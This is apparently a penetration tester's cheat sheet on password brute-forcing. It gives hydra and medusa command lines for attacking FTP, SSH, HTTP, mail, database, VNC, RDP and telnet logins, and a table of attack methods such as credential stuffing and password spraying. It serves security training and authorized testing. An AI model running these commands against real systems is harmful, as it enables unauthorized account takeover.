Brute Forcing

Resources

Commands

• Services
  • ftp

    hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
     
    medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt

  • ssh

    hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
     
    medusa -M ssh -h 192.168.1.100 -u root -P passwords.txt

  • HTTP logins

    hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
    hydra -L users.txt -P passwords.txt -s 30463 -f -v 154.57.164.83 http-get /
     
    hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
     
     
    medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^
     
    medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"

  • smtp

    hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com

  • pop3

    hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com
     
    medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt

  • imap

    hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com
     
    medusa -M imap -h mail.example.com -U users.txt -P passwords.txt

  • mysql

    hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100
     
    medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt

  • vnc

    hydra -P /path/to/password_list.txt vnc://192.168.1.100
     
    medusa -M vnc -h 192.168.1.100 -P passwords.txt

  • rdp

    hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100
     
    medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt

  • svn

    medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt

  • telnet

    medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt

• Wordlists
  • Create
    • Anarchy

      ./username-anarchy fady moheb

Tools

• anarchy : https://github.com/urbanadventurer/username-anarchy

Notes

Password Brute-Forcing Types

Method	Description	Example	Best Used When…
Simple Brute Force	Systematically tries all possible character combinations within a defined length.	Trying all lowercase letter combos (a-z) for lengths 4-6.	No prior info exists; massive computational resources are available.
Dictionary Attack	Uses a pre-compiled list of common words, phrases, and passwords.	Running rockyou.txt against a web login portal.	Target likely uses weak, common, or predictable passwords.
Hybrid Attack	Combines dictionary words with brute-force character appending/prepending.	Appending 123! or 2024 to words from a dictionary list.	Target uses base words but modifies them to meet complexity rules.
Credential Stuffing	Automates logins using known username/password pairs leaked from other breaches.	Blasting a dumped combo list against an unrelated online service.	You have a large leaked combo list and suspect password reuse.
Password Spraying	Tries 1-2 highly common passwords across thousands of different usernames.	Trying Summer2024! against every employee username in an organization.	Strict account lockout policies are active (avoids locking accounts).
Rainbow Table Attack	Reverses hashes using massive, pre-computed tables of hash-to-plaintext mappings.	Comparing a stolen hash against a lookup table to instantly find the match.	You have offline hashes and the storage space for massive tables.
Reverse Brute Force	Targets one single known password against a massive list of different usernames.	Using a leaked password to find which specific username it belongs to.	You strongly suspect a specific password is being reused across accounts.
Distributed Brute Force	Splits the cracking workload across multiple computers, GPUs, or botnets.	Utilizing a cluster of machines to multiply combinations per second.	The target hash is highly complex and requires massive parallel compute.

Nodes

• Password Cracking